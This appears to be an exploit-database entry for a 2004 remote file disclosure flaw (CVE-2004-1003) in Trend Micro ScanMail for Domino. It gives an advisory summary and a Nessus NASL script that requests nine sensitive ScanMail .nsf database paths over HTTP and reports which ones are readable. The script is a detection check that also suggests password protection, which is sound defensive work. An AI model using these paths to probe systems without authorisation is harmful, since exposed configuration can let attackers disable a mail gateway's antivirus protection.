Exploit Trend Micro ScanMail for Domino 2.51/2.6 - Remote File Disclosure

[Exploiter]

EDB-ID

24725

Проверка EDB

1. Пройдено

Автор

DOKFLEED

Тип уязвимости

REMOTE

Платформа

MULTIPLE

CVE

cve-2004-1003

Дата публикации

2004-11-05

Trend Micro ScanMail for Domino 2.51/2.6 - Remote File Disclosure

source: https://www.securityfocus.com/bid/11612/info

ScanMail for Domino is reported prone to a vulnerability that may allow sensitive configuration files to be disclosed to remote attackers.

A successful attack may allow an attacker to disclose sensitive information and allow the attacker to disable antivirus protection on a gateway allowing potentially malicious email messages to reach internal users. It is conjectured that as malicious emails are delivered to client mail applications that are seemingly protected by the gateway application, a user may be inclined to open the message due to a false sense of security. This issue may result in a malicious code infection.

All versions of ScanMail for Domino are considered to be vulnerable at the moment.

# Written by DokFLeed <dokfleed at dokfleed.net>
# Looking for smency.nsf Trend/Lotus
#
if(description)
{
script_version ("$Revision: 1.3 $");
script_id(14312);
script_name(english:"ScanMail file check"); 
desc["english"] = 
"This script attempts to read sensitive files used by Trend ScanMail,
an anti-virus protection program for Domino (formerly Lotus Notes).
An attacker, exploiting this flaw, may gain access to confidential
data or disable the anti-virus protection.

Risk : Medium";

script_description(english:desc["english"]);
script_summary(english:"Checks for the presence ScanMail files"); 
script_category(ACT_GATHER_INFO); 
script_family(english:"CGI abuses"); 
script_copyright(english:"This script is Copyright (C) 2004 by DokFLeed"); 
script_dependencie("find_service.nes", "http_version.nasl");
script_require_ports("Services/www", 80);
exit(0); 
}

# Start of Code 
include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);

if (!get_port_state(port)) exit(0);

if (http_is_dead(port:port)) exit(0);

files = make_array("/smency.nsf" , "Encyclopedia",
"/smconf.nsf" , "Configuration",
"/smhelp.nsf" , "Help",
"/smftypes.nsf" , "File Types",
"/smmsg.nsf" , "Messages",
"/smquar.nsf" , "Quarantine",
"/smtime.nsf" , "Scheduler",
"/smsmvlog.nsf" , "Log",
"/smadmr5.nsf" , "Admin Add-in");
report = "";
foreach path (keys(files))
{
req = http_get(item:path, port:port);
r = http_keepalive_send_recv(port:port, data:req);

if (r == NULL) exit(0);

if ("Trend ScanMail" >< r)
{
if (!report)
{
report =
"Sensitive files used by Trend ScanMail, an anti-virus protection
program for Domino (formerly Lotus Notes), are readable via the web.
These files might expose confidential data or allow an attacker to
disable the anti-virus protection.

Solution: Password protect access to these files.

The following files were found:
";
}
report += string("\n ", path, " - ", files[path]);
}
}
if (report) security_warning(port:port, data:report);